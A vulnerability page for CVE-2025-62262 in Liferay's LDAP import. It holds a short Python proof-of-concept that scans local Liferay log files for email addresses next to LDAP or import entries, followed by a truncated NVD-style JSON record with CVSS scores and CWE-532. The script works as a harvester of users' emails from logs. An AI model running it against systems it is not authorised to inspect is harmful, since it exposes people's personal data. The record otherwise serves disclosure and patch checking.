CVE-2025-62262

# CVE-2025-62262 PoC - Liferay LDAP Import Information Disclosure # This PoC demonstrates how user email addresses may be exposed in log files import os import re def check_liferay_logs(log_paths): """ Check Liferay log files for exposed email addresses during LDAP import. Common log locations: - /opt/liferay/logs/liferay.log - /var/log/liferay/catalina.out - $LIFERAY_HOME/logs/liferay.[date].log """ email_pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' exposed_emails = [] for log_path in log_paths: if os.path.exists(log_path): with open(log_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Look for LDAP import related log entries with email addresses ldap_import_pattern = r'(LDAP|import|sync).*?' + email_pattern matches = re.findall(ldap_import_pattern, content, re.IGNORECASE) if matches: exposed_emails.extend(matches) return list(set(exposed_emails)) # Example usage if __name__ == "__main__": log_locations = [ "/opt/liferay/logs/liferay.log", "/var/log/liferay.log", "C:\\liferay\\logs\\liferay.log" ] print("Scanning for exposed emails in Liferay logs...") emails = check_liferay_logs(log_locations) if emails: print(f"Found {len(emails)} potentially exposed email addresses:") for email in emails: print(f" - {email}") else: print("No exposed emails found in scanned log files.")

{"cve": {"id": "CVE-2025-62262", "sourceIdentifier": "[email protected]", "published": "2025-10-27T21:15:37.577", "lastModified": "2025-11-10T22:03:58.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information exposure through log file vulnerability in LDAP import feature in Liferay Portal 7.4.0 through 7.4.3.97, and older unsupported versions, and Liferay DXP 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions allows local users to view user email address in the log files."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:service_pack_3:*:*:*:*:*:*", "matchCriteriaId": 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